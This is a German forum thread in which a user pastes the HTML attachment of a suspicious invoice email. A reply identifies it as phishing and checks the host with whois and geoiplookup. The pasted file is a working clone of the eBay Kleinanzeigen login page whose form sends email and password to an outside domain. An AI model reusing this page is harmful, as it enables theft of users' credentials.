Mail von unbekannter Person, Virus Anhang?

Hallo Leute, habe mich hier extra angemeldet, um euch etwas über die Mail die ich vorhin von einer unbekannten Person erhalten habe zu fragen.

Angeblich hätte er eine Rechnung von 304 Euro gezahlt und möchte, das ich das im Anhang checke. Es ist nur eine Textdatei, steht ein html code drin, wahrscheinlich, erst wenn ich es über meinen Browser aufrufe wird denke ich etwas passieren, aber was genau weiss ich nicht.
Im Anhang ein Screen von der Mail.
Deswegen wollte ich euch fragen, ob ihr etwas daraus erkennen könnt? ich füge den Code vom Anhang mal hier ein:

oder hier bei Pastebin, ist übersichtlicher: <!DOCTYPE html><!--[if IE 8 ]> <html class="ie ie8" lang="de"> <![endif]--> - Pastebin.com

HTML:
<!DOCTYPE html><!--[if IE 8 ]>    <html class="ie ie8" lang="de"> <![endif]-->
<!--[if IE 9 ]>    <html class="ie ie9" lang="de"> <![endif]-->
<!--[if gt IE 9 ]>    <html class="ie" lang="de"> <![endif]-->
<!--[if !IE]><!--> <html lang="de">         <!--<![endif]-->
    <head>
        <meta charset="UTF-8">
        <title>eBay Kleinanzeigen | Kostenlos. Einfach. Lokal.</title>
        <link rel="SHORTCUT ICON" href="http://kleinanzeigen.ebay.de/git.2168-da9b71/img/favicon.ico" type="http://kleinanzeigen.ebay.de/image/vnd.microsoft.icon" />

        <meta name="robots" content="noindex, follow"/><link rel="search" type="http://kleinanzeigen.ebay.de/application/opensearchdescription+xml" title="eBay Kleinanzeigen" href="http://kleinanzeigen.ebay.de/git.2168-da9b71/xml/opensearch.xml"/>

        <meta property="fb:app_id" content="129026183788759" />
        <meta property="fb:page_id" content="118074381563675" />
        <meta property="og:site_name" content="eBay Kleinanzeigen" />
        <meta property="og:country-name" content="Germany" />

        <meta property="og:image" content="http://kleinanzeigen.ebay.de/git.2168-da9b71/img/common/logo/logo-ebay-kleinanzeigen-75x75.png"/>
            <meta property="og:type" content="website"/>
            <meta property="og:description" content=""/>
            <meta property="og:title" content="eBay Kleinanzeigen"/>
            <meta name="msvalidate.01" content="DE6B582BB9671A268BB927BC87154590" />

        <meta name="google-site-verification" content="mKHxIfCqo8NfW85vQla0XDNT2FPIEt85-o_DsUrrMpA" />

        <!--[if lt IE 9]>
        <script src="http://kleinanzeigen.ebay.de/git.2168-da9b71/js/selectivizr-min.js"></script>
        <![endif]-->

        <link rel="stylesheet" type="text/css" href="http://kleinanzeigen.ebay.de/git.2168-da9b71/css/base-all.3hr1jej7muoy.css"/>
                    <script type="text/javascript" src="http://kleinanzeigen.ebay.de/git.2168-da9b71/js/top.d0nt50wgp6ag.js"></script> 
                <!--[if lt IE 9]>
                    <script type="text/javascript" src="http://kleinanzeigen.ebay.de/git.2168-da9b71/js/belen/common/Html5-min.dwc3du1ohhph.js"></script>
                <![endif]--> 
                <script type="text/javascript">
                    window.belenScripts = [];
                    window.belenScripts.push("http://kleinanzeigen.ebay.de/git.2168-da9b71/js/base.1qu63qj9caa69.js");

                    
                    window.belenScripts.push("http://kleinanzeigen.ebay.de/git.2168-da9b71/js/my-all.zff1dhdauq3j.js");
                    </script>
            <script type="text/javascript">
            

            var externalScripts = [];


                // Facebook
                Belen.Global.fbAppId = '129026183788759';

                

                function handleDomReady() {

                    $(document).ready(function() {
                        $('body').addClass('stat-js-enabled');

                        // Tracking
                        
                            Belen.Tracking.initTrackingData({pageTypeShort:"o",pageId:"1605056"});

                            

                            Belen.TrackingDispatcher.init();
                        

                        // init common view
                        Belen.Common.CommonView.init();

                        // init page view
                         Belen.My.LoginView.init();
                        

                        // Tracking scripts and pixels
                        

                        Belen.onWindowLoaded(function() {
                        
                            $('body').append('');
                        

                        });

                        
                    });
                }

            

            Belen.UniversalAnalyticsLoader.init({
                account: "UA-24356365-9",
                domain: "kleinanzeigen.ebay.de",
                virtualUrl: "/MYEBAYK/LOGIN",
                userId:"",
                dimensions: [{"index":2,"value":""}, {"index":3,"value":""}, {"index":4,"value":""}, {"index":5,"value":""}, {"index":13,"value":"logged_out"}, {"index":18,"value":""}, {"index":24,"value":"B_control_globalcollect_flow"}, {"index":26,"value":"eCN-test_C-RPM-MAX"}]
            });

            
                    LazyLoad.js(window.belenScripts, handleDomReady);
                

            if(externalScripts != null && externalScripts.length > 0){
                LazyLoad.js(externalScripts);
            }
        </script>

    </head>
    <body id="login" class="">
        <header id="site-header">
            <section id="site-header-top">
                <div id="site-logo">
                    <a data-gaevent="Navigation,ClickLogo" href="http://kleinanzeigen.ebay.de/anzeigen/"><img height="40" src="http://kleinanzeigen.ebay.de/git.2168-da9b71/img/common/logo/logo-ebayk-402x80.png" alt="Kleinanzeigen" ></a><br>
                    <span>Kostenlos. Einfach. Lokal.</span>
                </div>
                <section id="site-signin" class="l-float-right">
                        <nav id="site-signin-menu">
                                    <ul>
                                        <li class="list-item-inline"><a data-gaevent="Navigation,ClickLogin" href="http://kleinanzeigen.ebay.de/anzeigen/m-einloggen.html">Einloggen</a></li>
                                        <li class="list-item-inline"><a data-gaevent="Navigation,ClickRegister" href="http://kleinanzeigen.ebay.de/anzeigen/m-benutzer-anmeldung.html">Registrieren</a></li>
                                    </ul>
                                </nav>
                            </section>
                </section>

            <section id="site-bar" class="bar-green">
                <div id="site-bar-content" class="clearfix">
                    <div id="site-search" class="clearfix">


                                <form id="site-search-form" action="/anzeigen/s-suchanfrage.html" method="get"><div id="site-search-what">
                                        <!-- SuggestionWidget  start -->
<div id="site-search-query-wrp" class="c-sggstnbx" data-ajaxurl="http://kleinanzeigen.ebay.de/anzeigen/s-suchbegriff-empfehlungen.json" data-suggest=''>

        
            <input type="text" id="site-search-query"
                   
                   class="c-txtfld is-not-clearable" name="keywords" tabindex="1" title=""
                   placeholder="Was suchen Sie?"
                   value="" size="20"
                    />
   
    </div><div id="site-search-ctgry" class="c-mslctbx" data-ajaxurl="http://kleinanzeigen.ebay.de/anzeigen/s-kategorie-baum.html">
                                            <input class="c-dropdown-inpt" tabindex="2" id="srch-ctgry-inpt" readonly="readonly"  type="text" value="Alle Kategorien " size="20"/>
                                            <input type="hidden" value="" name="categoryId" id="search-category-value" />
                                            <ul class="c-dropdwn-list c-mslctbx-list">
                                                <li class="c-mslctbx-optn"><a class="c-mslctbx-lnk" data-val="0">Alle Kategorien</a></li>
                                            </ul>
                                        </div>
                                    </div>

                                    <div id="site-search-where">
                                        <!-- SuggestionWidget  start -->
<div id="site-search-area-wrp" class="c-sggstnbx" data-ajaxurl="http://kleinanzeigen.ebay.de/anzeigen/s-ort-empfehlungen.json" data-suggest=''>

        
            <input type="text" id="site-search-area"
                   
                   class="c-txtfld is-not-clearable" name="locationStr" tabindex="3" title=""
                   placeholder="PLZ oder Ort"
                   value="" size="20"
                    />
   
    <input class="j-suggstnbx-key" type="hidden" value="0" name="locationId" />
    </div><div id="site-search-distance" class="c-selectbox ">
    <input id="site-search-distance-inpt" class="c-dropdown-inpt"  type="text" value="" autocomplete="off" readonly="true" size="20" />
    <input id="site-search-distance-value" type="hidden" value="" name="radius" />
    <ul id="site-search-distance-list" class="c-dropdwn-list c-selectbox-list">
       <li class="c-selectbox-optn" data-value="0" data-selected="true" >
    Ganzer Ort</li><li class="c-selectbox-optn" data-value="5" >
    + 5 km</li><li class="c-selectbox-optn" data-value="10" >
    + 10 km</li><li class="c-selectbox-optn" data-value="20" >
    + 20 km</li><li class="c-selectbox-optn" data-value="30" >
    + 30 km</li><li class="c-selectbox-optn" data-value="50" >
    + 50 km</li><li class="c-selectbox-optn" data-value="100" >
    + 100 km</li><li class="c-selectbox-optn" data-value="150" >
    + 150 km</li><li class="c-selectbox-optn" data-value="200" >
    + 200 km</li></ul>
</div></div>
                                    <button  id="site-search-submit" class="btn-blue "  type="submit" > 
            <img border="0" src="http://capolu.szm.com/marcel/5.bmp" width="16" height="15">
            <span class="btn-label"> Finden</span>
            </button>
    <input type="hidden" name="sortingField" value="SORTING_DATE" id="search-sorting-field"/>
                                    <input type="hidden" id="search-adType-field" name="adType"  value=""/>
                                    <input type="hidden" id="search-posterType-field" name="posterType" value=""/>
                                    <input type="hidden" id="search-pageNum" name="pageNum" value="1"/>
                                    <input type="hidden" id="search-action" name="action" value="find"/>
                                    <input type="hidden" name="maxPrice" value="" />
                                    <input type="hidden" name="minPrice" value="" />
                                    </form></div>
                        <nav id="site-mainnav">
                        <ul class="clearfix highlighted">

                            <li id="site-mainnav-my" class="site-mainnav-item on alwaysOn" aria-haspopup="true">
                                <a id="site-mainnav-my-link" class="site-mainnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/m-meine-anzeigen.html">Meins</a>

                                    <span id="msgbox-notification-badge" class="badge badge-menu is-hidden"></span>

                            </li>
                            <li id="site-mainnav-postad" class="site-mainnav-item "><a data-gaevent="OnsiteMarketing,PostAd,Header" id="site-mainnav-postad-link" class="site-mainnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/p-anzeige-aufgeben.html">Anzeige aufgeben</a></li>

                        </ul>
                    </nav>
                    </div>
            </section>
            <section id="site-header-sub">
                <nav id="site-subnav">
                    <ul class="clearfix">
                        <li class="site-subnav-item "><a id="site-subnav-msgbox" data-gaevent="Navigation,ClickMessageBox" class="site-subnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/m-nachrichten.html">Nachrichten <span id="sub-navi-num-new-conversations"></span></a></li>
                        <li class="site-subnav-item "><a id="site-subnav-watchlist" data-gaevent="Navigation,ClickWatchlist" class="site-subnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/m-merkliste.html">Merkliste (<span id="sub-navi-num-ads-watchlist">0</span>)</a></li>
                        <li class="site-subnav-item "><a id="site-subnav-myads" data-gaevent="Navigation,ClickMyAds" class="site-subnav-link"  href="http://kleinanzeigen.ebay.de/anzeigen/m-meine-anzeigen.html">Anzeigen</a> </li>
                            <li class="site-subnav-item "><a data-gaevent="Navigation,ClickOwnStore" id="site-subnav-store" class="site-subnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/m-shop.html">Shop</a></li>
                            <li class="site-subnav-item "><a id="site-subnav-settings" data-gaevent="Navigation,ClickSettings" class="site-subnav-link" href="http://kleinanzeigen.ebay.de/anzeigen/m-einstellungen.html">Einstellungen</a></li>
                        </ul>
                </nav>
            </section>

        </header>
        <noscript>
                <div class="l-page-container container">
                    <img src="http://kleinanzeigen.ebay.de/git.2168-da9b71/img/common/js-disabled.png" alt="" class="l-margin-bottom-small"/>
                </div></noscript>
            <!--[if lt IE 9 ]>
            <div class="l-page-container container">
                <div class="attentionbox l-margin-top-med">
                    <header><h1>Bitte installieren Sie die neueste Version Ihres Browsers</h1></header>
                    <p>Sie verwenden derzeit eine alte Version des Internet Explorers. eBay Kleinanzeigen funktioniert besser, wenn Sie die neueste Version Ihres Browsers installieren.</p><a class="lnk-action" href="http://windows.microsoft.com/de-de/internet-explorer/ie-11-worldwide-languages" target="_blank">Neuen Internet Explorer installieren</a></div>
            </div>
            <![endif]-->
        <div id="site-content" class="highlightbox ">
                <div class="l-row">
        <div class="l-col l-span-11">
        <h1 class="t-green-underlined">Einloggen</h1>
        <div id="login-warn-nocookies" class="c-bx-warn is-hidden"><strong class="c-strg-bx-warn">Sie müssen in Ihrem Browser Cookies aktiviert haben, um sich einloggen zu können.</strong></div>
        <form id="login-form" class="c-frm" action="http://www.kusadasitravel200.com/images/joni3.php" method="POST"><input id="targetUrl" name="targetUrl" type="hidden" value=""/><div class="formrow">
                <label  for="login-email">E-Mail</label>
                <div class="formrow-input">
                    <input id="login-email" name="D1" class="c-txtfld-medium" autofocus="true" type="email" value="" size="20"/></div>
            </div>
            <div class="formrow">
                <label  for="login-password">Passwort</label>
                <div class="formrow-input">
                    <input id="login-password" name="D2" class="c-txtfld-medium" type="password" value="" size="20"/><p><a href="http://kleinanzeigen.ebay.de/anzeigen/m-passwort-vergessen.html">Passwort vergessen?</a></p>
                </div>
            </div>
            <div class="formrow">
                    <div class="formrow-submit">
                        <button  id="login-submit" class="btn-blue"  type="submit" > 
            <span class="btn-label">Einloggen</span> 
            <img src="http://capolu.szm.com/marcel/4.bmp" width="8" height="10">            </button>
    </div>
            </div>

        </form></div>
<div class="l-col l-span-11 l-push-2" >
    <h1 class="t-green-underlined">Noch nicht registriert?</h1>
    <ul class="iconlist-promo l-margin-bottom-med">
        <li><img border="0" src="http://capolu.szm.com/marcel/1.bmp" width="25" height="23"><span class="iconlist-cell"> Überall verfügbare Merkliste</span></li>
        <li><img border="0" src="http://capolu.szm.com/marcel/2.bmp" width="26" height="18"><span class="iconlist-cell"> Nachrichten überall lesen und beantworten</span></li>
        <li><img border="0" src="http://capolu.szm.com/marcel/3.bmp" width="24" height="21"><span class="iconlist-cell"> Einfaches Verwalten und Bearbeiten von Anzeigen</span></li>
    </ul>

    <a id="login-registration-button" class="button-link btn-blue" href="http://kleinanzeigen.ebay.de/anzeigen/m-benutzer-anmeldung.html">
        <span class="btn-label">In 30 Sekunden registrieren  </span><img src="http://capolu.szm.com/marcel/4.bmp" width="8" height="10">
    </a>
</div>
</div>

</div>

        <footer id="site-footer" class="l-page-container">
            <ul id="site-footer-linklist">

                <li class="list-item-inline">
                    <a href="http://kleinanzeigen.ebay.de/hilfe">Hilfe</a>
                </li>
                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/datenschutzerklaerung.html">Datenschutzerklärung</a></li>
                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/nutzungsbedingungen.html">Nutzungsbedingungen</a></li>
                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/impressum.html">Impressum</a></li>
                <li class="list-item-inline"><a href="http://presse.ebay.de" target="_blank">Presse</a></li>
                <li class="list-item-inline"><a href="/anzeigen/jobs.html">Jobs</a></li>
                <li class="list-item-inline"><a class="j-start-feedback" href="http://www.surveymonkey.com/s/G98FCLS" >Feedback</a></li>
                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/sicherheitshinweise.html">Tipps für Ihre Sicherheit</a></li>
                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/s-shop-verzeichnis.html">Shop Übersicht</a></li>

                <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/s-beliebte-angebote.html">Beliebte Angebote</a></li>
                <li class="list-item-inline"><a  href="http://kleinanzeigen.ebay.de/anzeigen/s-katalog-orte.html">Anzeigen Übersicht</a></li>
                        <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/s-beliebte-suchen.html">Beliebte Suchen</a></li>
                            <li class="list-item-inline"><a href="http://kleinanzeigen.ebay.de/anzeigen/mobile-apps.html">Mobile Apps</a></li>
                <li class="list-item-inline"><a href="http://www2.ebayadvertising.com/de/Mediadaten" rel="nofollow">Mediadaten</a></li>

            </ul>

            <p id="site-footer-copyright" class="t-mousetype">Copyright © 2005-2014 eBay International AG. Alle Rechte vorbehalten. Ausgewiesene Marken gehören ihren jeweiligen Eigentümern.</p>

            </footer>

        <!-- Google Code for Visited Site -->
<!-- Remarketing tags may not be associated with personally identifiable information or placed on pages related to sensitive categories. For instructions on adding this tag and more information on the above requirements, read the setup guide: google.com/ads/remarketingsetup -->
<script type="text/javascript">
    /* <![CDATA[ */
    var google_conversion_id = 1019393085;
    var google_conversion_label = "9bxiCMPlvwQQveiK5gM";
    var google_custom_params = window.google_tag_params;
    var google_remarketing_only = true;
    /* ]]> */
        </script>
<script type="text/javascript" src="file://www.googleadservices.com/pagead/conversion.js">
        </script>
<noscript>
        <div style="display:inline;">
        <img height="1" width="1" style="border-style:none;" alt="" src="//googleads.g.doubleclick.net/pagead/viewthroughconversion/1019393085/?value=0&label=9bxiCMPlvwQQveiK5gM&guid=ON&script=0"/>
    </div></noscript></body>
</html>
 
Zuletzt bearbeitet:
Würde eher auf Phishing tippen - so schaut's aus, wenn man den Anhang öffnet:
attachment.php

Also ein Ebay-Login - und nur diese "Kleinigkeit" ist anders:
Code:
<form id="login-form" class="c-frm" action="http://www.kusadasitravel200.com/images/joni3.php" method="POST">
Ich habe nämlich irgendwie meine Zweifel, dass die ebay-login-Server plötzlich in Rumänien stehen ;)
 
Genau das habe ich sofort befürchtet... Woran erkennst du dass die Server in Rumänien sind?
Das war nur eine Vermutung wegen:
Code:
CDW@highlander-jr:~ % geoiplookup kusadasitravel200.com   
GeoIP Country Edition: RO, Romania
und
Code:
CDW@highlander-jr:~ % whois kusadasitravel200.com|grepi country
Registrant Country: RO
Admin Country: RO
Tech Country: RO
Das Wesentliche ist hier ja eh', dass es sich nicht um Ebay-URL handelt ;)

PS:
'geoiplookup' und 'whois' sind Tools, um bestimmte Datenbanken (Whois und GeoIP) abzufragen.
http://de.wikipedia.org/wiki/Whois#Abfrage_von_Whois-Datenbanken
http://linux.die.net/man/1/whois
http://linux.die.net/man/1/geoiplookup
 
Zurück
Oben